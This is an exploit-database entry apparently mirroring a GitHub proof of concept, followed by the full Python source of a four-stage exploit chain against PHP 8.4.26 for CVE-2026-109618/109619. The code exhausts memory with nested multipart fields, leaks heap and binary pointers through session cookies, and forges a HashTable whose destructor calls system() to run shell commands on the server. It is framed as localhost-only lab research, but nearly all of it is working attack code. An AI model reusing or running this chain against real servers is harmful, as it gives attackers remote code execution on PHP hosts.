Exploit database

GH-56a5614eca576c08feea4e04aacfa2a2

kipmyk/php2shell

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-109618

412 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files7
kipmyk/php2shellRevision e354452bffba

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

exploit_lab/exploit_chain_poc.py

Python · 26,460 bytes
#!/usr/bin/env python3
"""
exploit_chain_poc.py

Refined, modular proof-of-concept for investigating the full exploit chain
associated with CVE-2026-109618 and CVE-2026-109619 in isolated research labs.

Architecture of the Exploit Chain:
  1. STAGE 1 (OOM Exhaustion):
     Sends a compact (~250 KiB) multipart payload containing deeply nested
     array field names (e.g., f[0][x][x]...). During rfc1867.c request parsing,
     PHP expands these names into nested HashTables in memory, exceeding the
     configured memory_limit (128 MiB) and bailing out mid-parsing. This leaves
     stale, un-cleaned session upload progress tracking state in the worker.

  2. STAGE 2 (Heap Chunk Base Leak):
     Pipelined consumer requests immediately query the poisoned worker. By
     overlapping multipart fields onto stale string headers, the session ID
     length field is overwritten to 256 bytes. When PHP serializes the session,
     it leaks adjacent Zend heap pointers, revealing the aligned 2 MiB chunk base.

  3. STAGE 3 (Code Pointer Leak):
     A second tailored OOM/consumer batch exposes a function pointer from the
     PHP code image (specifically zval_ptr_dtor). By verifying the low 21-bit
     page offset against known binary builds, the base address of the PHP binary
     and the address of zif_system (the internal handler for system()) are calculated.

  4. STAGE 4 (Execution Callback):
     A forged 384-byte zend_array (HashTable) is placed on the heap at a deterministic
     offset. The table's pDestructor points to zif_system and its first argument
     points to an embedded command string. During request cleanup / bailout, PHP
     invokes the destructor, executing the payload in the context of the worker.

Safety & Scope:
  - Restricted strictly to isolated local loopback environments (127.0.0.1 / localhost).
  - Designed for defensive analysis, allocator hardening, and patch verification.

Usage:
  python3 exploit_chain_poc.py --url http://127.0.0.1:8888/php-version.php
"""

from __future__ import annotations

import argparse
import collections
import datetime as dt
import hashlib
import http.client
import json
import logging
import os
import re
import secrets
import socket
import ssl
import struct
import sys
import urllib.parse
from dataclasses import dataclass, field
from pathlib import Path
from typing import Callable, Optional, Tuple, List, Set, Dict, Any

# ---------------------------------------------------------------------------
# Calibration & Memory Offsets
# ---------------------------------------------------------------------------

@dataclass(frozen=True)
class BuildCalibration:
    """Memory layout parameters and symbol offsets for target PHP build."""
    php_version: str = "PHP/8.4.26"
    
    # Zend allocates in aligned 2 MiB (0x200000) chunks
    chunk_mask: int = (1 << 21) - 1
    min_pointer_agreement: int = 4
    
    # Plausible 64-bit ASLR address bounds
    heap_min: int = 0x700000000000
    heap_max: int = 0x800000000000
    code_min: int = 0x500000000000
    code_max: int = 0x700000000000
    
    # Alpine PHP 8.4.26 reference symbol offsets
    dtor_low21: int = 0x112930
    zif_system_from_dtor: int = -0x204BC0
    
    # Heap carrier distances (calibrated for 4-worker CLI-server layout)
    heap_carrier_delta: int = 0x8400000
    heap_carrier_offset: int = 0x16D1D8
    
    # Forged structure sizes
    carrier_size: int = 384
    command_offset: int = 0x98
    
    @property
    def command_limit(self) -> int:
        return self.carrier_size - self.command_offset - 1  # 231 bytes max + NUL

DEFAULT_CALIBRATION = BuildCalibration()

# Protocol and tuning limits
COOKIE_BOUNDARY = b"PHP2SHELL-COOKIE-BOUNDARY"
FINAL_BOUNDARY = b"PHP2SHELL-FINAL-BOUNDARY"
BODY_LIMIT = 1 << 20           # 1 MiB wire limit per body
MAX_RESPONSE_BYTES = 1 << 17   # 128 KiB max response capture
CONSUMER_COUNT = 8             # Number of pipelined consumers per batch
COOKIE_PAIRS = 1001            # Cookie headers to groom header state
ORDINARY_COOKIE_LEN = 32       # Standard alphanumeric PHPSESSID length

# ---------------------------------------------------------------------------
# Target Validation
# ---------------------------------------------------------------------------

@dataclass(frozen=True)
class TargetEndpoint:
    """Strictly validates target URL to prevent external network traffic."""
    scheme: str
    host: str
    port: int
    path: str

    @property
    def host_header(self) -> str:
        default_port = 443 if self.scheme == "https" else 80
        return self.host if self.port == default_port else f"{self.host}:{self.port}"

    @classmethod
    def from_url(cls, url: str) -> "TargetEndpoint":
        parsed = urllib.parse.urlsplit(url)
        if parsed.scheme not in ("http", "https"):
            raise ValueError(f"Invalid URL scheme: '{parsed.scheme}'. Must be http or https.")
        
        # Enforce strict local isolation
        allowed_hosts = {"localhost", "127.0.0.1"}
        if parsed.hostname not in allowed_hosts:
            raise ValueError(
                f"Unauthorized host: '{parsed.hostname}'. "
                "This research PoC is strictly constrained to local testbeds (localhost / 127.0.0.1)."
            )

        port = parsed.port or (443 if parsed.scheme == "https" else 80)
        path = parsed.path or "/php-version.php"
        return cls(parsed.scheme, parsed.hostname, port, path)

    def create_socket(self, timeout: float = 15.0) -> socket.socket:
        sock = socket.create_connection((self.host, self.port), timeout=timeout)
        if self.scheme == "https":
            ctx = ssl.create_default_context()
            sock = ctx.wrap_socket(sock, server_hostname=self.host)
        sock.settimeout(timeout)
        return sock

# ---------------------------------------------------------------------------
# Multipart Payload Generators
# ---------------------------------------------------------------------------

class MultipartBuilder:
    """Constructs multipart/form-data bodies with exact byte control."""

    @staticmethod
    def build_part(boundary: bytes, name: bytes, value: bytes = b"", filename: Optional[bytes] = None) -> bytes:
        part = b"--" + boundary + b'\r\nContent-Disposition: form-data; name="' + name + b'"'
        if filename is not None:
            part += b'; filename="' + filename + b'"'
        return part + b"\r\n\r\n" + value + b"\r\n"

    @classmethod
    def assemble(cls, parts: List[bytes], boundary: bytes) -> bytes:
        body = b"".join(parts) + b"--" + boundary + b"--\r\n"
        if len(body) >= BODY_LIMIT:
            raise ValueError(f"Payload size ({len(body)} bytes) exceeds wire limit ({BODY_LIMIT} bytes).")
        return body

    @classmethod
    def create_oom_producer(cls, boundary: bytes, depth: int, count: int, field_count: int, value_size: int) -> bytes:
        """
        Creates an OOM-triggering request:
        - Upload progress activates session tracking before full initialization.
        - Deeply nested array keys 'f[i][x][x]...' multiply allocations during parsing.
        """
        parts = [cls.build_part(boundary, f"p{i:04d}".encode(), b"x" * value_size) for i in range(field_count)]
        parts.extend([
            cls.build_part(boundary, b"PHPSESSID", b"\x00"),
            cls.build_part(boundary, b"PHP_SESSION_UPLOAD_PROGRESS", b"audit"),
            cls.build_part(boundary, b"f", b"A" * 64, b"test.txt")
        ])
        for i in range(count):
            nested_name = b"f[" + str(i).encode() + b"]" + (b"[x]" * depth)
            parts.append(cls.build_part(boundary, nested_name, filename=b""))
        return cls.assemble(parts, boundary)

    @classmethod
    def create_heap_consumer(cls, boundary: bytes) -> bytes:
        """Grooms worker array layout to overwrite session cookie string length."""
        parts = [
            cls.build_part(boundary, b"PHPSESSID", b"a"),
            cls.build_part(boundary, b"PHP_SESSION_UPLOAD_PROGRESS", b"probe")
        ]
        for i in range(51):
            val = (f"v{i:04d}".encode() + b"x" * 48)[:48]
            parts.append(cls.build_part(boundary, str(1000 + i).encode(), val))
        
        # Key 1050 collision aligns target string header
        parts.append(cls.build_part(boundary, b"1050", b"Z" * 128))
        
        # Overwrite length field to 256 bytes
        forged = bytearray(b"A" * 79)
        struct.pack_into("<Q", forged, 0x10, 256)
        forged[0x18] = ord("L")
        parts.append(cls.build_part(boundary, b"1999", bytes(forged)))
        return cls.assemble(parts, boundary)

    @classmethod
    def create_code_consumer(cls, boundary: bytes) -> bytes:
        """Shapes array layout to disclose function pointer in 16-byte cookie."""
        parts = [
            cls.build_part(boundary, b"PHPSESSID", b"a"),
            cls.build_part(boundary, b"PHP_SESSION_UPLOAD_PROGRESS", b"probe")
        ]
        for i in range(73):
            parts.append(cls.build_part(boundary, f"s{i:04d}".encode(), b"P" * 24))
        for i in range(983 - 73):
            for j in range(16 if i == 69 else 1):
                parts.append(cls.build_part(boundary, f"a{i:04d}[{j}]".encode(), b"x" * 16))
        return cls.assemble(parts, boundary)

    @classmethod
    def create_fake_hashtable(cls, address: int, zif_system: int, command: bytes, cal: BuildCalibration) -> bytes:
        """
        Constructs the 384-byte forged zend_array (HashTable):
        - pDestructor points to zif_system.
        - arData overlaps execute_data pointing to command string.
        """
        if b"\x00" in command:
            raise ValueError("Command payload cannot contain NUL bytes.")
        if len(command) > cal.command_limit:
            raise ValueError(f"Command ({len(command)} B) exceeds carrier limit ({cal.command_limit} B).")

        carrier = bytearray(cal.carrier_size)

        # zend_array header
        struct.pack_into("<II", carrier, 0x00, 1, 7)              # gc.refcount=1, u.v.type=IS_ARRAY (7)
        struct.pack_into("<II", carrier, 0x08, 0x10, 0xFFFFFFF8)  # nTableSize=16, nTableMask
        struct.pack_into("<Q", carrier, 0x10, address + 0x20)     # arData -> points to bucket at +0x20
        struct.pack_into("<II", carrier, 0x18, 1, 1)              # nNumUsed=1, nNumOfElements=1
        struct.pack_into("<II", carrier, 0x20, 8, 0)              # nInternalPointer
        struct.pack_into("<Q", carrier, 0x28, 0)                  # nNextFreeElement
        struct.pack_into("<Q", carrier, 0x30, zif_system)         # pDestructor -> zif_system

        # Overlapping fake execute_data
        struct.pack_into("<Q", carrier, 0x20, 0)                  # opline
        struct.pack_into("<Q", carrier, 0x30, zif_system)         # return_value
        struct.pack_into("<I", carrier, 0x4C, 1)                  # num_args=1
        struct.pack_into("<Q", carrier, 0x70, address + 0x80)     # arg1 -> zend_string at +0x80
        struct.pack_into("<I", carrier, 0x78, 6)                  # arg1 type = IS_STRING (6)

        # Embedded zend_string holding the command
        struct.pack_into("<II", carrier, 0x80, 1, 0x106)          # gc, flags
        struct.pack_into("<Q", carrier, 0x90, len(command))       # length
        carrier[cal.command_offset:cal.command_offset + len(command)] = command
        carrier[cal.command_offset + len(command)] = 0            # NUL terminator
        return bytes(carrier)

    @classmethod
    def create_final_callback_payload(cls, heap_base: int, dtor: int, command: bytes, cal: BuildCalibration) -> bytes:
        """Assembles final multipart request with forged table and triggers cleanup OOM."""
        target_addr = heap_base - cal.heap_carrier_delta + cal.heap_carrier_offset
        forged_table = cls.create_fake_hashtable(target_addr, dtor + cal.zif_system_from_dtor, command, cal)

        b = FINAL_BOUNDARY
        parts: List[bytes] = []
        for i in range(1000):
            parts.append(cls.build_part(b, b"f[" + str(i).encode() + b"][x]" * 54, filename=b""))

        primer = bytearray(b"Q" * 276)
        struct.pack_into("<Q", primer, 13 * 8, target_addr)
        parts.extend([
            cls.build_part(b, b"", bytes(primer)),
            cls.build_part(b, b"a", b"1"),
            cls.build_part(b, b"hold", forged_table),
            cls.build_part(b, b"K" * 128000 + b"[x]", b"1")  # Triggers bailout cleanup
        ])
        return cls.assemble(parts, b)

# ---------------------------------------------------------------------------
# HTTP Frame & Pipeline Transport
# ---------------------------------------------------------------------------

def generate_cookie_name(idx: int) -> str:
    alphabet = "0123456789abcdefghijklmnopqrstuvwxyz"
    return alphabet[(idx // 36) % 36] + alphabet[idx % 36]

def encode_http_frame(target: TargetEndpoint, body: bytes, boundary: bytes, cookie_pairs: int = 0, close: bool = True) -> bytes:
    lines = [
        f"POST {target.path} HTTP/1.1",
        f"Host: {target.host_header}",
        "Connection: close" if close else "Connection: keep-alive",
        f"Content-Length: {len(body)}",
        f"Content-Type: multipart/form-data; boundary={boundary.decode('ascii')}"
    ]
    if cookie_pairs:
        lines.append("Cookie: " + "".join(f"{generate_cookie_name(i)}=;" for i in range(cookie_pairs)))
    return ("\r\n".join(lines) + "\r\n\r\n").encode("ascii") + body

class PipelinedStream:
    """Maintains an active socket stream across multiple HTTP responses."""
    def __init__(self, reader):
        self.reader = reader
        self.captured: List[bytes] = []

    def read(self, *args, **kwargs) -> bytes:
        chunk = self.reader.read(*args, **kwargs)
        self.captured.append(chunk)
        return chunk

    def readline(self, *args, **kwargs) -> bytes:
        line = self.reader.readline(*args, **kwargs)
        self.captured.append(line)
        return line

    def makefile(self, *args, **kwargs):
        return self

    def close(self):
        pass

def parse_http_response(stream: PipelinedStream) -> Tuple[Dict[str, Any], bytes, bytes]:
    resp = http.client.HTTPResponse(stream)
    resp.begin()
    body = resp.read(MAX_RESPONSE_BYTES)
    
    set_cookie = resp.getheader("Set-Cookie") or ""
    cookie_str = ""
    if "PHPSESSID=" in set_cookie:
        cookie_str = set_cookie.split("PHPSESSID=", 1)[1].split(";", 1)[0]
    cookie_raw = urllib.parse.unquote_to_bytes(cookie_str.replace("+", " "))

    info = {
        "status": resp.status,
        "server": resp.getheader("Server"),
        "powered_by": resp.getheader("X-Powered-By"),
        "cookie_bytes": len(cookie_raw),
        "oom": b"Allowed memory size" in body and b"exhausted" in body,
        "body_len": len(body),
        "body_sha256": hashlib.sha256(body).hexdigest()
    }
    return info, cookie_raw, body

# ---------------------------------------------------------------------------
# Leak Detection Logic
# ---------------------------------------------------------------------------

def extract_heap_chunk_base(cookie: bytes, cal: BuildCalibration) -> Optional[int]:
    """Scans 256-byte leaked session cookie for agreed aligned 2 MiB Zend chunk base."""
    if len(cookie) != 256:
        return None
    candidates = []
    for align in range(8):
        words = [
            struct.unpack_from("<Q", cookie, offset)[0]
            for offset in range(align, len(cookie) - 7, 8)
        ]
        bases = [w & ~cal.chunk_mask for w in words if cal.heap_min <= w < cal.heap_max]
        if bases:
            base, hits = collections.Counter(bases).most_common(1)[0]
            candidates.append((hits, base))
    if not candidates:
        return None
    hits, best_base = max(candidates)
    return best_base if hits >= cal.min_pointer_agreement else None

def extract_code_pointer(cookie: bytes, cal: BuildCalibration) -> Optional[int]:
    """Validates 16-byte leaked cookie against expected zval_ptr_dtor page offset."""
    if len(cookie) != 16 or struct.unpack_from("<Q", cookie, 0)[0] != 16:
        return None
    ptr = struct.unpack_from("<Q", cookie, 8)[0]
    if cal.code_min <= ptr < cal.code_max and (ptr & cal.chunk_mask) == cal.dtor_low21:
        return ptr
    return None

# ---------------------------------------------------------------------------
# Research Runner Orchestration
# ---------------------------------------------------------------------------

class ExploitChainLab:
    def __init__(self, target: TargetEndpoint, cal: BuildCalibration = DEFAULT_CALIBRATION, output_dir: Optional[Path] = None):
        self.target = target
        self.cal = cal
        self.output_dir = output_dir or Path(f"audit-run-{dt.datetime.now(dt.UTC).strftime('%Y%m%dT%H%M%SZ')}")
        self.output_dir.mkdir(parents=True, exist_ok=True)

    def preflight_check(self) -> str:
        """Verifies target is online and reports expected version."""
        conn = (http.client.HTTPSConnection if self.target.scheme == "https" else http.client.HTTPConnection)(
            self.target.host, self.target.port, timeout=10.0
        )
        try:
            conn.request("GET", self.target.path, headers={"Connection": "close"})
            resp = conn.getresponse()
            body = resp.read(1024).decode("latin-1", errors="replace")
            powered_by = resp.getheader("X-Powered-By") or "Unknown"
            if resp.status != 200:
                raise RuntimeError(f"Preflight check failed: HTTP {resp.status}")
            return f"HTTP 200 (Powered-By: {powered_by}, Snippet: {body.splitlines()[0] if body else ''})"
        finally:
            conn.close()

    def run_heap_leak_stage(self) -> Tuple[Optional[int], Dict[str, Any]]:
        """Executes Stage 1 (OOM Producer) + Stage 2 (8 Consumers) down a single connection."""
        producer_body = MultipartBuilder.create_oom_producer(
            COOKIE_BOUNDARY, depth=57, count=950, field_count=50, value_size=1
        )
        consumer_body = MultipartBuilder.create_heap_consumer(COOKIE_BOUNDARY)

        req_bytes = encode_http_frame(self.target, producer_body, COOKIE_BOUNDARY, cookie_pairs=COOKIE_PAIRS, close=False)
        for i in range(CONSUMER_COUNT):
            is_last = (i == CONSUMER_COUNT - 1)
            req_bytes += encode_http_frame(self.target, consumer_body, COOKIE_BOUNDARY, close=is_last)

        (self.output_dir / "heap_stage.request.http").write_bytes(req_bytes)

        responses: List[Dict[str, Any]] = []
        candidates: Set[int] = set()
        raw_capture = b""

        with self.target.create_socket() as sock:
            stream = PipelinedStream(sock.makefile("rb"))
            sock.sendall(req_bytes)
            for _ in range(CONSUMER_COUNT + 1):
                info, cookie, _ = parse_http_response(stream)
                responses.append(info)
                cand = extract_heap_chunk_base(cookie, self.cal)
                if cand:
                    candidates.add(cand)
            raw_capture = b"".join(stream.captured)

        (self.output_dir / "heap_stage.response.http").write_bytes(raw_capture)
        summary = {
            "producer_oom": responses[0]["oom"] if responses else False,
            "consumers": responses[1:],
            "candidates": [hex(c) for c in sorted(candidates)]
        }
        (self.output_dir / "heap_stage.json").write_text(json.dumps(summary, indent=2))
        return (candidates.pop() if len(candidates) == 1 else None), summary

    def run_code_leak_stage(self) -> Tuple[Optional[int], Dict[str, Any]]:
        """Executes Stage 3 (Code Pointer Disclosure) down a single connection."""
        producer_body = MultipartBuilder.create_oom_producer(
            COOKIE_BOUNDARY, depth=58, count=935, field_count=65, value_size=39
        )
        consumer_body = MultipartBuilder.create_code_consumer(COOKIE_BOUNDARY)

        req_bytes = encode_http_frame(self.target, producer_body, COOKIE_BOUNDARY, cookie_pairs=COOKIE_PAIRS, close=False)
        for i in range(CONSUMER_COUNT):
            is_last = (i == CONSUMER_COUNT - 1)
            req_bytes += encode_http_frame(self.target, consumer_body, COOKIE_BOUNDARY, close=is_last)

        (self.output_dir / "code_stage.request.http").write_bytes(req_bytes)

        responses: List[Dict[str, Any]] = []
        candidates: Set[int] = set()
        raw_capture = b""

        with self.target.create_socket() as sock:
            stream = PipelinedStream(sock.makefile("rb"))
            sock.sendall(req_bytes)
            for _ in range(CONSUMER_COUNT + 1):
                info, cookie, _ = parse_http_response(stream)
                responses.append(info)
                cand = extract_code_pointer(cookie, self.cal)
                if cand:
                    candidates.add(cand)
            raw_capture = b"".join(stream.captured)

        (self.output_dir / "code_stage.response.http").write_bytes(raw_capture)
        summary = {
            "producer_oom": responses[0]["oom"] if responses else False,
            "consumers": responses[1:],
            "candidates": [hex(c) for c in sorted(candidates)]
        }
        (self.output_dir / "code_stage.json").write_text(json.dumps(summary, indent=2))
        return (candidates.pop() if len(candidates) == 1 else None), summary

    def run_callback_stage(self, heap_base: int, dtor_ptr: int, command: str) -> Dict[str, Any]:
        """Executes Stage 4: plants forged HashTable and captures execution response."""
        nonce = secrets.token_hex(8)
        # Format command to redirect output to active connection descriptor
        crafted_cmd = (
            f"id;echo {nonce};"
            f"{command}"
        ).encode("ascii")

        body = MultipartBuilder.create_final_callback_payload(heap_base, dtor_ptr, crafted_cmd, self.cal)
        lines = [
            f"POST {self.target.path} HTTP/1.1",
            f"Host: {self.target.host_header}",
            "Accept-Encoding: identity",
            f"Content-Length: {len(body)}",
            f"Content-Type: multipart/form-data; boundary={FINAL_BOUNDARY.decode('ascii')}",
            "Connection: close"
        ]
        req_bytes = ("\r\n".join(lines) + "\r\n\r\n").encode("ascii") + body
        (self.output_dir / "final_stage.request.http").write_bytes(req_bytes)

        raw_capture = b""
        resp_body = b""
        status = None

        with self.target.create_socket() as sock:
            stream = PipelinedStream(sock.makefile("rb"))
            sock.sendall(req_bytes)
            resp = http.client.HTTPResponse(stream)
            resp.begin()
            status = resp.status
            try:
                resp_body = resp.read(MAX_RESPONSE_BYTES)
            except http.client.IncompleteRead as e:
                resp_body = e.partial
            raw_capture = b"".join(stream.captured)

        (self.output_dir / "final_stage.response.http").write_bytes(raw_capture)
        (self.output_dir / "final_stage.body").write_bytes(resp_body)

        result = {
            "status": status,
            "nonce_observed": nonce.encode() in resp_body,
            "uid_observed": b"uid=" in resp_body,
            "body_snippet": resp_body[:256].decode("latin-1", errors="replace"),
            "success": status == 200 and nonce.encode() in resp_body
        }
        (self.output_dir / "final_stage.json").write_text(json.dumps(result, indent=2))
        return result

# ---------------------------------------------------------------------------
# CLI Entrypoint
# ---------------------------------------------------------------------------

def main():
    parser = argparse.ArgumentParser(
        description="Refined PoC for CVE-2026-109618 / CVE-2026-109619 Research",
        formatter_class=argparse.RawDescriptionHelpFormatter
    )
    parser.add_argument("--url", default="http://127.0.0.1:8888/php-version.php",
                        help="Local target endpoint (default: http://127.0.0.1:8888/php-version.php)")
    parser.add_argument("--cmd", default="print-flag",
                        help="Safe command to invoke on callback (default: print-flag)")
    parser.add_argument("--out", type=Path, default=None,
                        help="Custom output directory for HTTP dumps and JSON telemetry")
    args = parser.parse_args()

    try:
        target = TargetEndpoint.from_url(args.url)
    except ValueError as e:
        print(f"[!] Validation Error: {e}", file=sys.stderr)
        return 1

    lab = ExploitChainLab(target, DEFAULT_CALIBRATION, args.out)
    print(f"[*] Target: {target.scheme}://{target.host}:{target.port}{target.path}")
    print(f"[*] Artifacts Directory: {lab.output_dir}")

    # Step 0: Preflight
    try:
        info = lab.preflight_check()
        print(f"[+] [Stage 0] Preflight OK: {info}")
    except Exception as e:
        print(f"[-] [Stage 0] Preflight Failed: {e}", file=sys.stderr)
        return 1

    # Step 1 & 2: Heap Chunk Base Leak
    print("[*] [Stage 1-2] Executing OOM Producer & Heap Pipelined Consumers...")
    heap_base, heap_summary = lab.run_heap_leak_stage()
    if not heap_base:
        print(f"[-] [Stage 2] Heap leak failed or zero candidates found: {heap_summary['candidates']}")
        print("    (Note: If running against Debian PHP-FPM, memory layouts differ from Alpine CLI-server).")
        return 1
    print(f"[+] [Stage 2] Recovered Zend Chunk Base: {hex(heap_base)}")

    # Step 3: Code Pointer Leak
    print("[*] [Stage 3] Executing OOM Producer & Code Pipelined Consumers...")
    dtor_ptr, code_summary = lab.run_code_leak_stage()
    if not dtor_ptr:
        print(f"[-] [Stage 3] Code leak failed or offset mismatch: {code_summary['candidates']}")
        return 1
    print(f"[+] [Stage 3] Recovered zval_ptr_dtor Pointer: {hex(dtor_ptr)}")

    # Step 4: Callback Execution
    print(f"[*] [Stage 4] Planting forged HashTable and triggering callback (cmd: {args.cmd})...")
    final_res = lab.run_callback_stage(heap_base, dtor_ptr, args.cmd)
    if final_res["success"]:
        print(f"[+] [Stage 4] Execution Verified! Nonce and UID detected in HTTP response.")
    else:
        print(f"[-] [Stage 4] Execution callback not triggered (HTTP {final_res['status']}).")
        print(f"    Response snippet: {final_res['body_snippet']}")
    return 0 if final_res["success"] else 1

if __name__ == "__main__":
    sys.exit(main())